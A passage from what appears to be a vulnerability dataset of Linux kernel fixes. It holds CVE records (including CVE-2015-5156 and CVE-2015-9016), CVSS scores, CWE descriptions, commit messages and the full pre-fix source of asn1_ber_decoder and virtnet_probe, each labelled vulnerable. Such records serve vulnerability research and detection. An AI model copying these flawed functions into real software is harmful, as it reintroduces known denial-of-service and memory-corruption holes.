'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00009.html', 'name': 'SUSE-SU-2016:1995', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00014.html', 'name': 'SUSE-SU-2016:2000', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00016.html', 'name': 'SUSE-SU-2016:2002', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00003.html', 'name': 'SUSE-SU-2016:1961', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00026.html', 'name': 'SUSE-SU-2016:2014', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00019.html', 'name': 'SUSE-SU-2016:2006', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00020.html', 'name': 'SUSE-SU-2016:2007', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00007.html', 'name': 'SUSE-SU-2016:1985', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00022.html', 'name': 'SUSE-SU-2016:2010', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00044.html', 'name': 'openSUSE-SU-2016:1641', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00055.html', 'name': 'openSUSE-SU-2016:2184', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00015.html', 'name': 'SUSE-SU-2016:2001', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00008.html', 'name': 'SUSE-SU-2016:1994', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00017.html', 'name': 'SUSE-SU-2016:2003', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00023.html', 'name': 'SUSE-SU-2016:2011', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00018.html', 'name': 'SUSE-SU-2016:2005', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00044.html', 'name': 'SUSE-SU-2016:2105', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00021.html', 'name': 'SUSE-SU-2016:2009', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.securitytracker.com/id/1036763', 'name': '1036763', 'refsource': 'SECTRACK', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-2584.html', 'name': 'RHSA-2016:2584', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-2574.html', 'name': 'RHSA-2016:2574', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-310'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The asn1_ber_decoder function in lib/asn1_decoder.c in the Linux kernel before 4.3 allows attackers to cause a denial of service (panic) via an ASN.1 BER file that lacks a public key, leading to mishandling by the public_key_verify_signature function in crypto/asymmetric_keys/public_key.c.'}]
2018-08-30T16:52Z
2016-05-02T10:59Z
Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.
https://cwe.mitre.org/data/definitions/310.html
1
David Howells
2015-08-05 12:54:46+01:00
ASN.1: Fix non-match detection failure on data overrun If the ASN.1 decoder is asked to parse a sequence of objects, non-optional matches get skipped if there's no more data to be had rather than a data-overrun error being reported. This is due to the code segment that decides whether to skip optional matches (ie. matches that could get ignored because an element is marked OPTIONAL in the grammar) due to a lack of data also skips non-optional elements if the data pointer has reached the end of the buffer. This can be tested with the data decoder for the new RSA akcipher algorithm that takes three non-optional integers. Currently, it skips the last integer if there is insufficient data. Without the fix, #defining DEBUG in asn1_decoder.c will show something like: next_op: pc=0/13 dp=0/270 C=0 J=0 - match? 30 30 00 - TAG: 30 266 CONS next_op: pc=2/13 dp=4/270 C=1 J=0 - match? 02 02 00 - TAG: 02 257 - LEAF: 257 next_op: pc=5/13 dp=265/270 C=1 J=0 - match? 02 02 00 - TAG: 02 3 - LEAF: 3 next_op: pc=8/13 dp=270/270 C=1 J=0 next_op: pc=11/13 dp=270/270 C=1 J=0 - end cons t=4 dp=270 l=270/270 The next_op line for pc=8/13 should be followed by a match line. This is not exploitable for X.509 certificates by means of shortening the message and fixing up the ASN.1 CONS tags because: (1) The relevant records being built up are cleared before use. (2) If the message is shortened sufficiently to remove the public key, the ASN.1 parse of the RSA key will fail quickly due to a lack of data. (3) Extracted signature data is either turned into MPIs (which cope with a 0 length) or is simpler integers specifying algoritms and suchlike (which can validly be 0); and (4) The AKID and SKID extensions are optional and their removal is handled without risking passing a NULL to asymmetric_key_generate_id(). (5) If the certificate is truncated sufficiently to remove the subject, issuer or serialNumber then the ASN.1 decoder will fail with a 'Cons stack underflow' return. This is not exploitable for PKCS#7 messages by means of removal of elements from such a message from the tail end of a sequence: (1) Any shortened X.509 certs embedded in the PKCS#7 message are survivable as detailed above. (2) The message digest content isn't used if it shows a NULL pointer, similarly, the authattrs aren't used if that shows a NULL pointer. (3) A missing signature results in a NULL MPI - which the MPI routines deal with. (4) If data is NULL, it is expected that the message has detached content and that is handled appropriately. (5) If the serialNumber is excised, the unconditional action associated with it will pick up the containing SEQUENCE instead, so no NULL pointer will be seen here. If both the issuer and the serialNumber are excised, the ASN.1 decode will fail with an 'Unexpected tag' return. In either case, there's no way to get to asymmetric_key_generate_id() with a NULL pointer. (6) Other fields are decoded to simple integers. Shortening the message to omit an algorithm ID field will cause checks on this to fail early in the verification process. This can also be tested by snipping objects off of the end of the ASN.1 stream such that mandatory tags are removed - or even from the end of internal SEQUENCEs. If any mandatory tag is missing, the error EBADMSG *should* be produced. Without this patch ERANGE or ENOPKG might be produced or the parse may apparently succeed, perhaps with ENOKEY or EKEYREJECTED being produced later, depending on what gets snipped. Just snipping off the final BIT_STRING or OCTET_STRING from either sample should be a start since both are mandatory and neither will cause an EBADMSG without the patches Reported-by: Marcel Holtmann <[email protected]> Signed-off-by: David Howells <[email protected]> Tested-by: Marcel Holtmann <[email protected]> Reviewed-by: David Woodhouse <[email protected]>
0d62e9dd6da45bbf0f33a8617afc5fe774c8f45f
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
asn1_ber_decoder
asn1_ber_decoder( const struct asn1_decoder * decoder , void * context , const unsigned char * data , size_t datalen)
['decoder', 'context', 'data', 'datalen']
int asn1_ber_decoder(const struct asn1_decoder *decoder, void *context, const unsigned char *data, size_t datalen) { const unsigned char *machine = decoder->machine; const asn1_action_t *actions = decoder->actions; size_t machlen = decoder->machlen; enum asn1_opcode op; unsigned char tag = 0, csp = 0, jsp = 0, optag = 0, hdr = 0; const char *errmsg; size_t pc = 0, dp = 0, tdp = 0, len = 0; int ret; unsigned char flags = 0; #define FLAG_INDEFINITE_LENGTH 0x01 #define FLAG_MATCHED 0x02 #define FLAG_LAST_MATCHED 0x04 /* Last tag matched */ #define FLAG_CONS 0x20 /* Corresponds to CONS bit in the opcode tag * - ie. whether or not we are going to parse * a compound type. */ #define NR_CONS_STACK 10 unsigned short cons_dp_stack[NR_CONS_STACK]; unsigned short cons_datalen_stack[NR_CONS_STACK]; unsigned char cons_hdrlen_stack[NR_CONS_STACK]; #define NR_JUMP_STACK 10 unsigned char jump_stack[NR_JUMP_STACK]; if (datalen > 65535) return -EMSGSIZE; next_op: pr_debug("next_op: pc=\e[32m%zu\e[m/%zu dp=\e[33m%zu\e[m/%zu C=%d J=%d\n", pc, machlen, dp, datalen, csp, jsp); if (unlikely(pc >= machlen)) goto machine_overrun_error; op = machine[pc]; if (unlikely(pc + asn1_op_lengths[op] > machlen)) goto machine_overrun_error; /* If this command is meant to match a tag, then do that before * evaluating the command. */ if (op <= ASN1_OP__MATCHES_TAG) { unsigned char tmp; /* Skip conditional matches if possible */ if ((op & ASN1_OP_MATCH__COND && flags & FLAG_MATCHED) || dp == datalen) { flags &= ~FLAG_LAST_MATCHED; pc += asn1_op_lengths[op]; goto next_op; } flags = 0; hdr = 2; /* Extract a tag from the data */ if (unlikely(dp >= datalen - 1)) goto data_overrun_error; tag = data[dp++]; if (unlikely((tag & 0x1f) == ASN1_LONG_TAG)) goto long_tag_not_supported; if (op & ASN1_OP_MATCH__ANY) { pr_debug("- any %02x\n", tag); } else { /* Extract the tag from the machine * - Either CONS or PRIM are permitted in the data if * CONS is not set in the op stream, otherwise CONS * is mandatory. */ optag = machine[pc + 1]; flags |= optag & FLAG_CONS; /* Determine whether the tag matched */ tmp = optag ^ tag; tmp &= ~(optag & ASN1_CONS_BIT); pr_debug("- match? %02x %02x %02x\n", tag, optag, tmp); if (tmp != 0) { /* All odd-numbered tags are MATCH_OR_SKIP. */ if (op & ASN1_OP_MATCH__SKIP) { pc += asn1_op_lengths[op]; dp--; goto next_op; } goto tag_mismatch; } } flags |= FLAG_MATCHED; len = data[dp++]; if (len > 0x7f) { if (unlikely(len == ASN1_INDEFINITE_LENGTH)) { /* Indefinite length */ if (unlikely(!(tag & ASN1_CONS_BIT))) goto indefinite_len_primitive; flags |= FLAG_INDEFINITE_LENGTH; if (unlikely(2 > datalen - dp)) goto data_overrun_error; } else { int n = len - 0x80; if (unlikely(n > 2)) goto length_too_long; if (unlikely(dp >= datalen - n)) goto data_overrun_error; hdr += n; for (len = 0; n > 0; n--) { len <<= 8; len |= data[dp++]; } if (unlikely(len > datalen - dp)) goto data_overrun_error; } } if (flags & FLAG_CONS) { /* For expected compound forms, we stack the positions * of the start and end of the data. */ if (unlikely(csp >= NR_CONS_STACK)) goto cons_stack_overflow; cons_dp_stack[csp] = dp; cons_hdrlen_stack[csp] = hdr; if (!(flags & FLAG_INDEFINITE_LENGTH)) { cons_datalen_stack[csp] = datalen; datalen = dp + len; } else { cons_datalen_stack[csp] = 0; } csp++; } pr_debug("- TAG: %02x %zu%s\n", tag, len, flags & FLAG_CONS ? " CONS" : ""); tdp = dp; } /* Decide how to handle the operation */ switch (op) { case ASN1_OP_MATCH_ANY_ACT: case ASN1_OP_COND_MATCH_ANY_ACT: ret = actions[machine[pc + 1]](context, hdr, tag, data + dp, len); if (ret < 0) return ret; goto skip_data; case ASN1_OP_MATCH_ACT: case ASN1_OP_MATCH_ACT_OR_SKIP: case ASN1_OP_COND_MATCH_ACT_OR_SKIP: ret = actions[machine[pc + 2]](context, hdr, tag, data + dp, len); if (ret < 0) return ret; goto skip_data; case ASN1_OP_MATCH: case ASN1_OP_MATCH_OR_SKIP: case ASN1_OP_MATCH_ANY: case ASN1_OP_COND_MATCH_OR_SKIP: case ASN1_OP_COND_MATCH_ANY: skip_data: if (!(flags & FLAG_CONS)) { if (flags & FLAG_INDEFINITE_LENGTH) { ret = asn1_find_indefinite_length( data, datalen, &dp, &len, &errmsg); if (ret < 0) goto error; } else { dp += len; } pr_debug("- LEAF: %zu\n", len); } pc += asn1_op_lengths[op]; goto next_op; case ASN1_OP_MATCH_JUMP: case ASN1_OP_MATCH_JUMP_OR_SKIP: case ASN1_OP_COND_MATCH_JUMP_OR_SKIP: pr_debug("- MATCH_JUMP\n"); if (unlikely(jsp == NR_JUMP_STACK)) goto jump_stack_overflow; jump_stack[jsp++] = pc + asn1_op_lengths[op]; pc = machine[pc + 2]; goto next_op; case ASN1_OP_COND_FAIL: if (unlikely(!(flags & FLAG_MATCHED))) goto tag_mismatch; pc += asn1_op_lengths[op]; goto next_op; case ASN1_OP_COMPLETE: if (unlikely(jsp != 0 || csp != 0)) { pr_err("ASN.1 decoder error: Stacks not empty at completion (%u, %u)\n", jsp, csp); return -EBADMSG; } return 0; case ASN1_OP_END_SET: case ASN1_OP_END_SET_ACT: if (unlikely(!(flags & FLAG_MATCHED))) goto tag_mismatch; case ASN1_OP_END_SEQ: case ASN1_OP_END_SET_OF: case ASN1_OP_END_SEQ_OF: case ASN1_OP_END_SEQ_ACT: case ASN1_OP_END_SET_OF_ACT: case ASN1_OP_END_SEQ_OF_ACT: if (unlikely(csp <= 0)) goto cons_stack_underflow; csp--; tdp = cons_dp_stack[csp]; hdr = cons_hdrlen_stack[csp]; len = datalen; datalen = cons_datalen_stack[csp]; pr_debug("- end cons t=%zu dp=%zu l=%zu/%zu\n", tdp, dp, len, datalen); if (datalen == 0) { /* Indefinite length - check for the EOC. */ datalen = len; if (unlikely(datalen - dp < 2)) goto data_overrun_error; if (data[dp++] != 0) { if (op & ASN1_OP_END__OF) { dp--; csp++; pc = machine[pc + 1]; pr_debug("- continue\n"); goto next_op; } goto missing_eoc; } if (data[dp++] != 0) goto invalid_eoc; len = dp - tdp - 2; } else { if (dp < len && (op & ASN1_OP_END__OF)) { datalen = len; csp++; pc = machine[pc + 1]; pr_debug("- continue\n"); goto next_op; } if (dp != len) goto cons_length_error; len -= tdp; pr_debug("- cons len l=%zu d=%zu\n", len, dp - tdp); } if (op & ASN1_OP_END__ACT) { unsigned char act; if (op & ASN1_OP_END__OF) act = machine[pc + 2]; else act = machine[pc + 1]; ret = actions[act](context, hdr, 0, data + tdp, len); } pc += asn1_op_lengths[op]; goto next_op; case ASN1_OP_MAYBE_ACT: if (!(flags & FLAG_LAST_MATCHED)) { pc += asn1_op_lengths[op]; goto next_op; } case ASN1_OP_ACT: ret = actions[machine[pc + 1]](context, hdr, tag, data + tdp, len); if (ret < 0) return ret; pc += asn1_op_lengths[op]; goto next_op; case ASN1_OP_RETURN: if (unlikely(jsp <= 0)) goto jump_stack_underflow; pc = jump_stack[--jsp]; flags |= FLAG_MATCHED | FLAG_LAST_MATCHED; goto next_op; default: break; } /* Shouldn't reach here */ pr_err("ASN.1 decoder error: Found reserved opcode (%u) pc=%zu\n", op, pc); return -EBADMSG; data_overrun_error: errmsg = "Data overrun error"; goto error; machine_overrun_error: errmsg = "Machine overrun error"; goto error; jump_stack_underflow: errmsg = "Jump stack underflow"; goto error; jump_stack_overflow: errmsg = "Jump stack overflow"; goto error; cons_stack_underflow: errmsg = "Cons stack underflow"; goto error; cons_stack_overflow: errmsg = "Cons stack overflow"; goto error; cons_length_error: errmsg = "Cons length error"; goto error; missing_eoc: errmsg = "Missing EOC in indefinite len cons"; goto error; invalid_eoc: errmsg = "Invalid length EOC"; goto error; length_too_long: errmsg = "Unsupported length"; goto error; indefinite_len_primitive: errmsg = "Indefinite len primitive not permitted"; goto error; tag_mismatch: errmsg = "Unexpected tag"; goto error; long_tag_not_supported: errmsg = "Long tag not supported"; error: pr_debug("\nASN1: %s [m=%zu d=%zu ot=%02x t=%02x l=%zu]\n", errmsg, pc, dp, optag, tag, len); return -EBADMSG; }
1485
True
1
CVE-2015-5156
False
False
False
False
AV:A/AC:L/Au:N/C:N/I:N/A:C
ADJACENT_NETWORK
LOW
NONE
NONE
NONE
COMPLETE
6.1
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1243852', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1243852', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39', 'name': 'https://github.com/torvalds/linux/commit/48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0855.html', 'name': 'RHSA-2016:0855', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76230', 'name': '76230', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-October/169378.html', 'name': 'FEDORA-2015-c15f00eb95', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1978.html', 'name': 'RHSA-2015:1978', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2777-1', 'name': 'USN-2777-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034045', 'name': '1034045', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-November/171454.html', 'name': 'FEDORA-2015-0253d1f070', 'refsource': 'FEDORA', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00018.html', 'name': 'SUSE-SU-2015:2292', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2774-1', 'name': 'USN-2774-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2773-1', 'name': 'USN-2773-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3364', 'name': 'DSA-3364', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.1.10', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The virtnet_probe function in drivers/net/virtio_net.c in the Linux kernel before 4.2 attempts to support a FRAGLIST feature without proper memory allocation, which allows guest OS users to cause a denial of service (buffer overflow and memory corruption) via a crafted sequence of fragmented packets.'}]
2017-11-04T01:29Z
2015-10-19T10:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Jason Wang
2015-08-05 10:34:04+08:00
virtio-net: drop NETIF_F_FRAGLIST virtio declares support for NETIF_F_FRAGLIST, but assumes that there are at most MAX_SKB_FRAGS + 2 fragments which isn't always true with a fraglist. A longer fraglist in the skb will make the call to skb_to_sgvec overflow the sg array, leading to memory corruption. Drop NETIF_F_FRAGLIST so we only get what we can handle. Cc: Michael S. Tsirkin <[email protected]> Signed-off-by: Jason Wang <[email protected]> Acked-by: Michael S. Tsirkin <[email protected]> Signed-off-by: David S. Miller <[email protected]>
48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
virtnet_probe
virtnet_probe( struct virtio_device * vdev)
['vdev']
static int virtnet_probe(struct virtio_device *vdev) { int i, err; struct net_device *dev; struct virtnet_info *vi; u16 max_queue_pairs; if (!vdev->config->get) { dev_err(&vdev->dev, "%s failure: config access disabled\n", __func__); return -EINVAL; } if (!virtnet_validate_features(vdev)) return -EINVAL; /* Find if host supports multiqueue virtio_net device */ err = virtio_cread_feature(vdev, VIRTIO_NET_F_MQ, struct virtio_net_config, max_virtqueue_pairs, &max_queue_pairs); /* We need at least 2 queue's */ if (err || max_queue_pairs < VIRTIO_NET_CTRL_MQ_VQ_PAIRS_MIN || max_queue_pairs > VIRTIO_NET_CTRL_MQ_VQ_PAIRS_MAX || !virtio_has_feature(vdev, VIRTIO_NET_F_CTRL_VQ)) max_queue_pairs = 1; /* Allocate ourselves a network device with room for our info */ dev = alloc_etherdev_mq(sizeof(struct virtnet_info), max_queue_pairs); if (!dev) return -ENOMEM; /* Set up network device as normal. */ dev->priv_flags |= IFF_UNICAST_FLT | IFF_LIVE_ADDR_CHANGE; dev->netdev_ops = &virtnet_netdev; dev->features = NETIF_F_HIGHDMA; dev->ethtool_ops = &virtnet_ethtool_ops; SET_NETDEV_DEV(dev, &vdev->dev); /* Do we support "hardware" checksums? */ if (virtio_has_feature(vdev, VIRTIO_NET_F_CSUM)) { /* This opens up the world of extra features. */ dev->hw_features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; if (csum) dev->features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; if (virtio_has_feature(vdev, VIRTIO_NET_F_GSO)) { dev->hw_features |= NETIF_F_TSO | NETIF_F_UFO | NETIF_F_TSO_ECN | NETIF_F_TSO6; } /* Individual feature bits: what can host handle? */ if (virtio_has_feature(vdev, VIRTIO_NET_F_HOST_TSO4)) dev->hw_features |= NETIF_F_TSO; if (virtio_has_feature(vdev, VIRTIO_NET_F_HOST_TSO6)) dev->hw_features |= NETIF_F_TSO6; if (virtio_has_feature(vdev, VIRTIO_NET_F_HOST_ECN)) dev->hw_features |= NETIF_F_TSO_ECN; if (virtio_has_feature(vdev, VIRTIO_NET_F_HOST_UFO)) dev->hw_features |= NETIF_F_UFO; dev->features |= NETIF_F_GSO_ROBUST; if (gso) dev->features |= dev->hw_features & (NETIF_F_ALL_TSO|NETIF_F_UFO); /* (!csum && gso) case will be fixed by register_netdev() */ } if (virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_CSUM)) dev->features |= NETIF_F_RXCSUM; dev->vlan_features = dev->features; /* Configuration may specify what MAC to use. Otherwise random. */ if (virtio_has_feature(vdev, VIRTIO_NET_F_MAC)) virtio_cread_bytes(vdev, offsetof(struct virtio_net_config, mac), dev->dev_addr, dev->addr_len); else eth_hw_addr_random(dev); /* Set up our device-specific information */ vi = netdev_priv(dev); vi->dev = dev; vi->vdev = vdev; vdev->priv = vi; vi->stats = alloc_percpu(struct virtnet_stats); err = -ENOMEM; if (vi->stats == NULL) goto free; for_each_possible_cpu(i) { struct virtnet_stats *virtnet_stats; virtnet_stats = per_cpu_ptr(vi->stats, i); u64_stats_init(&virtnet_stats->tx_syncp); u64_stats_init(&virtnet_stats->rx_syncp); } INIT_WORK(&vi->config_work, virtnet_config_changed_work); /* If we can receive ANY GSO packets, we must allocate large ones. */ if (virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_TSO4) || virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_TSO6) || virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_ECN) || virtio_has_feature(vdev, VIRTIO_NET_F_GUEST_UFO)) vi->big_packets = true; if (virtio_has_feature(vdev, VIRTIO_NET_F_MRG_RXBUF)) vi->mergeable_rx_bufs = true; if (virtio_has_feature(vdev, VIRTIO_NET_F_MRG_RXBUF) || virtio_has_feature(vdev, VIRTIO_F_VERSION_1)) vi->hdr_len = sizeof(struct virtio_net_hdr_mrg_rxbuf); else vi->hdr_len = sizeof(struct virtio_net_hdr); if (virtio_has_feature(vdev, VIRTIO_F_ANY_LAYOUT) || virtio_has_feature(vdev, VIRTIO_F_VERSION_1)) vi->any_header_sg = true; if (virtio_has_feature(vdev, VIRTIO_NET_F_CTRL_VQ)) vi->has_cvq = true; if (vi->any_header_sg) dev->needed_headroom = vi->hdr_len; /* Use single tx/rx queue pair as default */ vi->curr_queue_pairs = 1; vi->max_queue_pairs = max_queue_pairs; /* Allocate/initialize the rx/tx queues, and invoke find_vqs */ err = init_vqs(vi); if (err) goto free_stats; #ifdef CONFIG_SYSFS if (vi->mergeable_rx_bufs) dev->sysfs_rx_queue_group = &virtio_net_mrg_rx_group; #endif netif_set_real_num_tx_queues(dev, vi->curr_queue_pairs); netif_set_real_num_rx_queues(dev, vi->curr_queue_pairs); err = register_netdev(dev); if (err) { pr_debug("virtio_net: registering device failed\n"); goto free_vqs; } virtio_device_ready(vdev); /* Last of all, set up some receive buffers. */ for (i = 0; i < vi->curr_queue_pairs; i++) { try_fill_recv(vi, &vi->rq[i], GFP_KERNEL); /* If we didn't even get one input buffer, we're useless. */ if (vi->rq[i].vq->num_free == virtqueue_get_vring_size(vi->rq[i].vq)) { free_unused_bufs(vi); err = -ENOMEM; goto free_recv_bufs; } } vi->nb.notifier_call = &virtnet_cpu_callback; err = register_hotcpu_notifier(&vi->nb); if (err) { pr_debug("virtio_net: registering cpu notifier failed\n"); goto free_recv_bufs; } /* Assume link up if device can't report link status, otherwise get link status from config. */ if (virtio_has_feature(vi->vdev, VIRTIO_NET_F_STATUS)) { netif_carrier_off(dev); schedule_work(&vi->config_work); } else { vi->status = VIRTIO_NET_S_LINK_UP; netif_carrier_on(dev); } pr_debug("virtnet: registered device %s with %d RX and TX vq's\n", dev->name, max_queue_pairs); return 0; free_recv_bufs: vi->vdev->config->reset(vdev); free_receive_bufs(vi); unregister_netdev(dev); free_vqs: cancel_delayed_work_sync(&vi->refill); free_receive_page_frags(vi); virtnet_del_vqs(vi); free_stats: free_percpu(vi->stats); free: free_netdev(dev); return err; }
910
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Ming Lei
2015-08-09 03:41:51-04:00
